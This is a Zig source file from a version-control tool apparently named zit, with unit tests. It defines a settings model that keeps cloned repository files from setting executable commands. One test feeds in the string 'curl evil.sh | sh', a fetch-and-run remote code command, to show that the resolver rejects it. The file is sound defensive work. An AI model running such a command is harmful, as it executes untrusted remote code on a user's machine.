//! The settings model: which settings exist, where a value may live, and which
//! tier wins.
//!
//! ## The organising idea is HAZARD, not scope (#83)
//!
//! A setting's blast radius decides how far it is allowed to travel, and that
//! one rule generates the whole table:
//!
//! * **Data** -- `ignore-glob`, `keep-glob`, `manifest`, `binary-glob`. The
//! worst a wrong value does is list the wrong files. These may be VERSIONED:
//! a tracked `.zit-settings/<name>` file clones with the repository, is
//! reviewable in a diff, and travels to everyone working on the project.
//!
//! * **Executable** -- `pgp-command`. The value is a command line this machine
//! RUNS, so a peer that could set it would have remote code execution. It
//! never propagates by any mechanism, in any transport. Fossil classifies
//! these `sensitive` for exactly this reason, and puts them in no config
//! group.
//!
//! * **Executable, project-owned** -- `before-commit` (#82). The project has a
//! legitimate claim to declare its own checks, but cloning must never run
//! them. The DECLARATION versions; the PERMISSION TO EXECUTE is local,
//! explicit, and content-pinned (see `trust`). Git refuses the first half
//! (hooks never clone, hence husky/lefthook); fossil's boundary is an
//! accident of transport (a `before-commit` hook crosses a file clone and
//! executes, but not an HTTP one). Splitting the two is what makes it safe.
//!
//! ## Precedence
//!
//! Highest to lowest, matching fossil's `db_get` (src/db.c) so an operator's
//! intuition carries over:
//!
//! 1. environment -- only where a setting names one (`$ZIT_PGP_COMMAND`), so
//! a single invocation can be redirected without editing
//! anything durable
//! 2. versioned -- `.zit-settings/<name>`, versionable settings only. It
//! OVERRIDES both stored tiers: fossil applies
//! `db_get_versioned` after reading config, and the project's
//! committed answer is meant to win over a stale local one.
//! 3. repository -- this repository's config frame
//! 4. global -- this operator's settings file, shared by every repository
//! 5. default -- the built-in
//!
//! The rule worth remembering: a value that is SHADOWED must say so. An operator
//! editing the tier that is not in effect, twice, is the failure this module
//! exists to prevent -- which is why `resolve` returns a `Source` and never a
//! bare value.
const std = @import("std");
/// Where a resolved value came from. Ordered highest-precedence first, so a
/// comparison on the enum is a comparison on precedence.
pub const Source = enum {
environment,
versioned,
repository,
global,
default,
/// One word for a listing. Deliberately terse: it sits in a column beside
/// the value, and the value is what the operator came to read.
pub fn label(self: Source) []const u8 {
return switch (self) {
.environment => "environment",
.versioned => "versioned",
.repository => "repository",
.global => "global",
.default => "default",
};
}
};
/// What a setting's value IS, which decides how it is parsed and how a bad
/// value is reported.
pub const Kind = enum { boolean, string };
/// How far a setting is allowed to travel -- the hazard classification above.
pub const Tier = enum {
/// Data. May be versioned into `.zit-settings/<name>` and thus clone.
data,
/// Executable. Local or global only; never versioned, never on the wire.
executable,
/// Executable but project-owned: the declaration versions, execution needs
/// local consent recorded against the declaration's content hash.
consented,
};
pub const Setting = enum {
autosync,
ignore_glob,
keep_glob,
manifest,
clearsign,
pgp_command,
before_commit,
/// The wire/CLI spelling. Kept separate from the Zig identifier so the
/// hyphenated names fossil uses are exact.
pub fn name(self: Setting) []const u8 {
return switch (self) {
.autosync => "autosync",
.ignore_glob => "ignore-glob",
.keep_glob => "keep-glob",
.manifest => "manifest",
.clearsign => "clearsign",
.pgp_command => "pgp-command",
.before_commit => "before-commit",
};
}
pub fn kind(self: Setting) Kind {
return switch (self) {
.autosync, .clearsign => .boolean,
.ignore_glob, .keep_glob, .manifest, .pgp_command, .before_commit => .string,
};
}
pub fn tier(self: Setting) Tier {
return switch (self) {
.autosync, .ignore_glob, .keep_glob, .manifest => .data,
.clearsign, .pgp_command => .executable,
.before_commit => .consented,
};
}
/// Whether a tracked `.zit-settings/<name>` file may supply this value.
/// True for data settings, and for `before-commit` -- whose declaration is
/// exactly the thing that SHOULD version, since its whole purpose is to
/// ship the project's checks with the project. Never for `executable`.
pub fn versionable(self: Setting) bool {
return switch (self.tier()) {
.data, .consented => true,
.executable => false,
};
}
/// The environment variable that overrides this setting, if any.
pub fn envVar(self: Setting) ?[]const u8 {
return switch (self) {
.pgp_command => "ZIT_PGP_COMMAND",
else => null,
};
}
/// The built-in value when no tier supplies one.
pub fn default(self: Setting) []const u8 {
return switch (self) {
// Stored as the deviation (`autosync_off`), so the default reads on.
.autosync => "on",
.clearsign => "off",
// fossil's own default, trailing space included: the `-o ` binds
// OUTFILE and the manifest arrives as the positional INFILE.
.pgp_command => "gpg --clearsign -o ",
.ignore_glob, .keep_glob, .manifest, .before_commit => "",
};
}
/// The tracked file a versionable setting reads from.
/// Caller owns the returned buffer slice.
pub fn versionedPath(self: Setting, buf: []u8) ?[]const u8 {
if (!self.versionable()) return null;
return std.fmt.bufPrint(buf, "{s}/{s}", .{ versioned_dir, self.name() }) catch null;
}
pub fn byName(text: []const u8) ?Setting {
inline for (comptime std.enums.values(Setting)) |s| {
if (std.mem.eql(u8, text, s.name())) return s;
}
return null;
}
};
/// The directory holding versionable settings, matching #64's existing choice
/// (`ignore.versioned_dir`); restated here so this module states the whole
/// model without depending on the ignore matcher.
pub const versioned_dir: []const u8 = ".zit-settings";
/// Longest a versioned settings file may be. A settings value that needs more
/// than this is not a setting.
pub const max_versioned_bytes: usize = 64 * 1024;
/// A resolved setting: the value in effect, and which tier supplied it.
pub const Resolved = struct {
value: []const u8,
source: Source,
};
/// What each tier had to say, gathered by the caller. Null means "this tier has
/// no opinion", which is NOT the same as the empty string -- an empty
/// `ignore-glob` set locally is a real value that must shadow a global one.
///
/// Deliberately a plain struct of optionals rather than a reader interface:
/// this module stays sans-IO so precedence is a pure function with a test, and
/// the file/frame/environment reads stay with the code that owns those handles.
pub const Candidates = struct {
environment: ?[]const u8 = null,
versioned: ?[]const u8 = null,
repository: ?[]const u8 = null,
global: ?[]const u8 = null,
};
/// THE precedence rule, in one place. Every surface that answers "what is this
/// setting" must come through here, so a listing, a commit, and a clean can
/// never disagree about which tier won.
pub fn resolve(setting: Setting, c: Candidates) Resolved {
// An environment override is only consulted where the setting names one, so
// a stray variable cannot start driving a setting that never had one.
if (setting.envVar() != null) {
if (c.environment) |v| return .{ .value = v, .source = .environment };
}
// A versioned file cannot supply an executable setting even if one is
// somehow present on disk: that is the whole security boundary, so it is
// enforced HERE, at the resolver, rather than trusted to every caller
// remembering not to read the file.
if (setting.versionable()) {
if (c.versioned) |v| return .{ .value = v, .source = .versioned };
}
if (c.repository) |v| return .{ .value = v, .source = .repository };
if (c.global) |v| return .{ .value = v, .source = .global };
return .{ .value = setting.default(), .source = .default };
}
/// Names for the human-readable listing of every setting name, used by the
/// unknown-name diagnostic so it never drifts from the enum.
pub fn knownNames(buf: []u8) []const u8 {
var w: usize = 0;
inline for (comptime std.enums.values(Setting), 0..) |s, i| {
if (i > 0) {
if (w + 2 > buf.len) return buf[0..w];
@memcpy(buf[w..][0..2], ", ");
w += 2;
}
const n = s.name();
if (w + n.len > buf.len) return buf[0..w];
@memcpy(buf[w..][0..n.len], n);
w += n.len;
}
return buf[0..w];
}
/// Parse a boolean setting's spelling. fossil accepts `on`/`off` for these and
/// so does zit; anything else is refused rather than guessed, because guessing
/// "off" for a typo silently disables a check the operator asked for.
pub fn parseBool(text: []const u8) ?bool {
if (std.mem.eql(u8, text, "on")) return true;
if (std.mem.eql(u8, text, "off")) return false;
return null;
}
// ---------------------------------------------------------------------------
// The global tier
// ---------------------------------------------------------------------------
/// The operator-scope settings file: `name value` lines, one per line, `#`
/// comments, blank lines ignored. A TEXT file on purpose -- the repository's own
/// config is a binary frame because it shares a log with artifacts, but this one
/// is read and edited by a person, and a format they can fix with an editor when
/// something goes wrong is worth more than a compact one.
///
/// Location, first that answers:
/// * `$ZIT_CONFIG` -- the file itself, for tests and for an operator who
/// wants it somewhere specific
/// * `$XDG_CONFIG_HOME/zit/settings`
/// * `$HOME/.config/zit/settings`
///
/// Absent is not an error anywhere: no file means no global values, which is
/// the state of every installation that never set one.
pub const global_basename: []const u8 = "settings";
pub const global_subdir: []const u8 = "zit";
pub const GlobalPath = struct {
/// The full path, borrowed from the caller's buffer.
path: []const u8,
/// The directory that must exist before a write. Empty when `$ZIT_CONFIG`
/// named a bare filename with no directory part.
dir: []const u8,
};
/// Resolve where the global settings file lives. Null when no home can be
/// determined at all (no `$ZIT_CONFIG`, no `$XDG_CONFIG_HOME`, no `$HOME`) --
/// a legitimate state for a daemon, and one that must degrade to "no global
/// tier" rather than failing every settings read.
pub fn globalPath(environ: anytype, buf: []u8) ?GlobalPath {
if (environ.getPosix("ZIT_CONFIG")) |explicit| {
if (explicit.len == 0 or explicit.len > buf.len) return null;
@memcpy(buf[0..explicit.len], explicit);
const path = buf[0..explicit.len];
const slash = std.mem.lastIndexOfScalar(u8, path, '/');
return .{ .path = path, .dir = if (slash) |i| path[0..i] else "" };
}
if (environ.getPosix("XDG_CONFIG_HOME")) |xdg| {
if (xdg.len == 0) return null;
const dir = std.fmt.bufPrint(buf, "{s}/{s}", .{ xdg, global_subdir }) catch return null;
const path = std.fmt.bufPrint(buf[dir.len..], "/{s}", .{global_basename}) catch return null;
// The two prints are adjacent in `buf`, so the full path is their span.
return .{ .path = buf[0 .. dir.len + path.len], .dir = dir };
}
if (environ.getPosix("HOME")) |home| {
if (home.len == 0) return null;
const dir = std.fmt.bufPrint(buf, "{s}/.config/{s}", .{ home, global_subdir }) catch return null;
const path = std.fmt.bufPrint(buf[dir.len..], "/{s}", .{global_basename}) catch return null;
return .{ .path = buf[0 .. dir.len + path.len], .dir = dir };
}
return null;
}
/// One `name value` line's parts, or null for a line that carries no setting
/// (blank, or a `#` comment). A malformed line is SKIPPED rather than fatal:
/// this file is hand-edited, and refusing to read any setting because line 7
/// has a stray character would take the operator's signing command down with
/// their typo.
pub fn parseGlobalLine(line: []const u8) ?struct { name: []const u8, value: []const u8 } {
const trimmed = std.mem.trim(u8, line, " \t\r");
if (trimmed.len == 0 or trimmed[0] == '#') return null;
const sp = std.mem.indexOfAny(u8, trimmed, " \t") orelse
// A bare name with no value is a legitimate way to spell the empty
// string, which is how a glob list is cleared.
return .{ .name = trimmed, .value = "" };
const name = trimmed[0..sp];
if (name.len == 0) return null;
const value = std.mem.trim(u8, trimmed[sp + 1 ..], " \t");
return .{ .name = name, .value = value };
}
/// Look one setting up in already-read global file text. Last occurrence wins,
/// matching how every line-oriented config file an operator has met behaves.
pub fn globalLookup(text: []const u8, setting: Setting) ?[]const u8 {
var found: ?[]const u8 = null;
var it = std.mem.splitScalar(u8, text, '\n');
while (it.next()) |line| {
const parsed = parseGlobalLine(line) orelse continue;
if (std.mem.eql(u8, parsed.name, setting.name())) found = parsed.value;
}
return found;
}
/// Rewrite `text` so `setting` reads `value`, returning the new file contents.
/// An existing line for the setting is REPLACED IN PLACE so hand-written
/// comments and ordering survive an edit; a setting not present is appended.
/// Caller owns the result.
pub fn globalSet(
gpa: std.mem.Allocator,
text: []const u8,
setting: Setting,
value: []const u8,
) error{OutOfMemory}![]u8 {
var out: std.ArrayList(u8) = .empty;
errdefer out.deinit(gpa);
var replaced = false;
var it = std.mem.splitScalar(u8, text, '\n');
var first = true;
while (it.next()) |line| {
// `splitScalar` yields a trailing empty piece for text ending in \n;
// dropping it here keeps the file from growing a blank line per edit.
if (it.peek() == null and line.len == 0) break;
if (!first) try out.append(gpa, '\n');
first = false;
const parsed = parseGlobalLine(line);
if (parsed != null and std.mem.eql(u8, parsed.?.name, setting.name())) {
if (replaced) {
// A duplicate earlier line is now dead; drop it rather than
// leave a value that no longer takes effect sitting in the file.
out.items.len -= @intFromBool(out.items.len > 0);
first = out.items.len == 0;
continue;
}
try out.print(gpa, "{s} {s}", .{ setting.name(), value });
replaced = true;
continue;
}
try out.appendSlice(gpa, line);
}
if (!replaced) {
if (!first) try out.append(gpa, '\n');
try out.print(gpa, "{s} {s}", .{ setting.name(), value });
}
try out.append(gpa, '\n');
return out.toOwnedSlice(gpa);
}
// ---------------------------------------------------------------------------
const testing = std.testing;
/// A stand-in for the process environment, so precedence is testable without
/// one. Mirrors the one method `globalPath` needs.
const FakeEnv = struct {
pairs: []const [2][]const u8,
fn getPosix(self: FakeEnv, key: []const u8) ?[]const u8 {
for (self.pairs) |p| if (std.mem.eql(u8, p[0], key)) return p[1];
return null;
}
};
test "settings #83: hazard decides propagation — executable settings are never versionable" {
// The model's load-bearing claim, asserted over the WHOLE enum rather than
// a sample: if a future setting is added to the executable tier and someone
// marks it versionable, that is remote code execution arriving by clone,
// and it must fail here rather than in the field.
inline for (comptime std.enums.values(Setting)) |s| {
switch (s.tier()) {
.executable => try testing.expect(!s.versionable()),
.data, .consented => try testing.expect(s.versionable()),
}
}
// The two settings whose classification the issue argued explicitly.
try testing.expectEqual(Tier.executable, Setting.pgp_command.tier());
try testing.expectEqual(Tier.consented, Setting.before_commit.tier());
try testing.expect(!Setting.pgp_command.versionable());
try testing.expect(Setting.before_commit.versionable());
}
test "settings #83: names round-trip and the known-name list is generated, not hand-copied" {
inline for (comptime std.enums.values(Setting)) |s| {
try testing.expectEqual(s, Setting.byName(s.name()).?);
}
try testing.expect(Setting.byName("no-such-setting") == null);
var buf: [256]u8 = undefined;
const known = knownNames(&buf);
// Every name appears, so a new setting cannot be added without the
// diagnostic listing it.
inline for (comptime std.enums.values(Setting)) |s| {
try testing.expect(std.mem.indexOf(u8, known, s.name()) != null);
}
}
test "settings #83: Source order IS precedence order" {
// `resolve` picks the first tier that answers, so the enum's declaration
// order is the policy. Stated as a test because a reorder would silently
// change which tier wins.
try testing.expect(@intFromEnum(Source.environment) < @intFromEnum(Source.versioned));
try testing.expect(@intFromEnum(Source.versioned) < @intFromEnum(Source.repository));
try testing.expect(@intFromEnum(Source.repository) < @intFromEnum(Source.global));
try testing.expect(@intFromEnum(Source.global) < @intFromEnum(Source.default));
}
test "settings #83: global path resolution prefers ZIT_CONFIG, then XDG, then HOME" {
var buf: [512]u8 = undefined;
{
const env = FakeEnv{ .pairs = &.{.{ "ZIT_CONFIG", "/tmp/x/zitrc" }} };
const g = globalPath(env, &buf).?;
try testing.expectEqualStrings("/tmp/x/zitrc", g.path);
try testing.expectEqualStrings("/tmp/x", g.dir);
}
{
const env = FakeEnv{ .pairs = &.{ .{ "XDG_CONFIG_HOME", "/xdg" }, .{ "HOME", "/home/u" } } };
const g = globalPath(env, &buf).?;
try testing.expectEqualStrings("/xdg/zit/settings", g.path);
try testing.expectEqualStrings("/xdg/zit", g.dir);
}
{
const env = FakeEnv{ .pairs = &.{.{ "HOME", "/home/u" }} };
const g = globalPath(env, &buf).?;
try testing.expectEqualStrings("/home/u/.config/zit/settings", g.path);
}
{
// No home at all is a legitimate state (a daemon), and must degrade to
// "no global tier" rather than failing every settings read.
const env = FakeEnv{ .pairs = &.{} };
try testing.expect(globalPath(env, &buf) == null);
}
}
test "settings #83: global file parsing — comments, blanks, bare names, last wins" {
const text =
\\# an operator's notes survive
\\clearsign on
\\
\\ pgp-command gpg --clearsign -o
\\ignore-glob
\\clearsign off
\\garbage-with-no-such-setting whatever
;
// Last occurrence wins, as in every line-oriented config an operator has met.
try testing.expectEqualStrings("off", globalLookup(text, .clearsign).?);
// Interior spacing is preserved after the first separator, so a command
// line with arguments survives verbatim.
try testing.expectEqualStrings("gpg --clearsign -o", globalLookup(text, .pgp_command).?);
// A bare name is how the empty string is spelled (clearing a glob list).
try testing.expectEqualStrings("", globalLookup(text, .ignore_glob).?);
// A setting the file never mentions is absent, not empty.
try testing.expect(globalLookup(text, .autosync) == null);
}
test "settings #83: globalSet replaces in place, keeps comments, and appends when absent" {
const gpa = testing.allocator;
{
const before = "# keep me\nclearsign on\nautosync off\n";
const after = try globalSet(gpa, before, .clearsign, "off");
defer gpa.free(after);
// The comment and the unrelated setting survive an edit -- the reason
// this is a text file rather than a rewritten blob.
try testing.expect(std.mem.indexOf(u8, after, "# keep me") != null);
try testing.expect(std.mem.indexOf(u8, after, "autosync off") != null);
try testing.expectEqualStrings("off", globalLookup(after, .clearsign).?);
try testing.expectEqual(@as(usize, 1), std.mem.count(u8, after, "clearsign "));
}
{
// Absent -> appended, and the file still ends in exactly one newline.
const after = try globalSet(gpa, "autosync off\n", .pgp_command, "/usr/bin/signer");
defer gpa.free(after);
try testing.expectEqualStrings("/usr/bin/signer", globalLookup(after, .pgp_command).?);
try testing.expect(std.mem.endsWith(u8, after, "\n"));
try testing.expect(!std.mem.endsWith(u8, after, "\n\n"));
}
{
// Empty file -> just the one line.
const after = try globalSet(gpa, "", .autosync, "off");
defer gpa.free(after);
try testing.expectEqualStrings("autosync off\n", after);
}
{
// A duplicate line for the same setting collapses: leaving a value that
// no longer takes effect in the file is how an operator edits the wrong
// one next time.
const after = try globalSet(gpa, "clearsign on\nclearsign on\n", .clearsign, "off");
defer gpa.free(after);
try testing.expectEqual(@as(usize, 1), std.mem.count(u8, after, "clearsign "));
try testing.expectEqualStrings("off", globalLookup(after, .clearsign).?);
}
}
test "settings #83: booleans refuse a guess" {
try testing.expectEqual(true, parseBool("on").?);
try testing.expectEqual(false, parseBool("off").?);
// "yes"/"true"/"1" are NOT accepted: guessing "off" for a typo silently
// disables a check the operator asked for.
try testing.expect(parseBool("yes") == null);
try testing.expect(parseBool("true") == null);
try testing.expect(parseBool("") == null);
}
test "settings #83: versioned paths live under .zit-settings and only for versionable settings" {
var buf: [128]u8 = undefined;
try testing.expectEqualStrings(".zit-settings/keep-glob", Setting.keep_glob.versionedPath(&buf).?);
try testing.expectEqualStrings(".zit-settings/before-commit", Setting.before_commit.versionedPath(&buf).?);
// The whole point: no tracked file can ever supply an executable setting.
try testing.expect(Setting.pgp_command.versionedPath(&buf) == null);
try testing.expect(Setting.clearsign.versionedPath(&buf) == null);
}
test "settings #83: resolve implements the documented precedence, and enforces the tier boundary" {
// Every tier answering: the highest wins, in order.
const all: Candidates = .{
.environment = "env",
.versioned = "ver",
.repository = "repo",
.global = "glob",
};
// pgp-command names an environment variable, so the environment wins.
try testing.expectEqual(Source.environment, resolve(.pgp_command, all).source);
// keep-glob names none, so the environment candidate is ignored entirely
// and the versioned file wins -- a stray variable cannot start driving a
// setting that never had one.
try testing.expectEqual(Source.versioned, resolve(.keep_glob, all).source);
try testing.expectEqualStrings("ver", resolve(.keep_glob, all).value);
// THE security boundary, asserted at the resolver: a versioned file cannot
// supply an executable setting even when one is present on disk. Without
// the environment candidate, pgp-command must fall past `versioned` to the
// repository tier rather than executing what a clone shipped.
const no_env: Candidates = .{ .versioned = "curl evil.sh | sh", .repository = "repo", .global = "glob" };
const r = resolve(.pgp_command, no_env);
try testing.expectEqual(Source.repository, r.source);
try testing.expectEqualStrings("repo", r.value);
// Falling through, one tier at a time.
try testing.expectEqual(Source.repository, resolve(.keep_glob, .{ .repository = "repo", .global = "glob" }).source);
try testing.expectEqual(Source.global, resolve(.keep_glob, .{ .global = "glob" }).source);
try testing.expectEqual(Source.default, resolve(.keep_glob, .{}).source);
// Defaults come from the setting, not from the caller.
try testing.expectEqualStrings("on", resolve(.autosync, .{}).value);
try testing.expectEqualStrings("off", resolve(.clearsign, .{}).value);
try testing.expectEqualStrings("gpg --clearsign -o ", resolve(.pgp_command, .{}).value);
// An EMPTY local value is a real value and must shadow a global one --
// clearing a glob list locally is exactly this case, and treating "" as
// absent would silently reinstate the global list.
const cleared = resolve(.ignore_glob, .{ .repository = "", .global = "*.tmp" });
try testing.expectEqual(Source.repository, cleared.source);
try testing.expectEqualStrings("", cleared.value);
}